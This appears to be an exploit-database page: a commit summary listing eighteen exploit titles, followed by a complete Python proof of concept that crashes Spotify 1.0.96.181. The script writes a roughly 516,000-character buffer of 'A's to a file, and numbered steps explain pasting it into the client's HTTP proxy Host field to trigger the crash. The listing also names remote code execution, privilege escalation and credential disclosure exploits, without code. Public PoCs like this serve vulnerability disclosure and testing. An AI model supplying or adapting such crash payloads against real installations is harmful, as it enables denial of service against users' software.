fa261f0558
18 changes to exploits/shellcodes Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC) NTPsec 1.1.2 - 'ctl_getitem' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Authenticated NULL Pointer Dereference (PoC) NTPsec 1.1.2 - 'config' Authenticated Out-of-Bounds Write Denial of Service (PoC) Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory in Invalid Array Length WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Microsoft Windows 10 - 'RestrictedErrorInfo' Unmarshal Section Handle Use-After-Free Microsoft Windows 10 - XmlDocument Insecure Sharing Privilege Escalation blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure Roxy Fileman 1.4.5 - Arbitrary File Download doorGets CMS 7.0 - Arbitrary File Download ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution GL-AR300M-Lite 2.27 - Authenticated Command Injection / Arbitrary File Download / Directory Traversal Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit
27 lines
No EOL
861 B
Python
Executable file
27 lines
No EOL
861 B
Python
Executable file
# Exploit Title: Spotify 1.0.96.181 - "Proxy configuration" Denial of Service (PoC)
|
|
# Discovery by: Aaron V. Hernandez
|
|
# Discovery Date: 2019-01-15
|
|
# Vendor Homepage: https://www.spotify.com
|
|
# Software Link: https://www.spotify.com/mx/download/windows/
|
|
# Tested Version: 1.0.96.181
|
|
# Vulnerability Type: Denial of Service (DoS) Local
|
|
# Tested on OS: Windows 10 Home x64
|
|
|
|
# Steps to Produce the Crash:
|
|
# 1.- Run python code : python Spotify_1.0.96.181.py
|
|
# 2.- Open Spotify_1.0.96.181.txt and copy content to clipboard
|
|
# 3.- Open Spotify.exe
|
|
# 4.- Clic "Configuracion"
|
|
# 5.- Select HTTP
|
|
# 6.- Paste ClipBoard on "Host"
|
|
# 7.- Clic "Actualizar proxy"
|
|
# 8.- Type any user and password
|
|
# 9.- "Iniciar sesion"
|
|
# 10.- Crashed
|
|
|
|
# !/usr/bin/env python
|
|
|
|
buffer = "\x41" * 516544
|
|
f = open("Spotify_1.0.96.181.txt", "w")
|
|
f.write(buffer)
|
|
f.close() |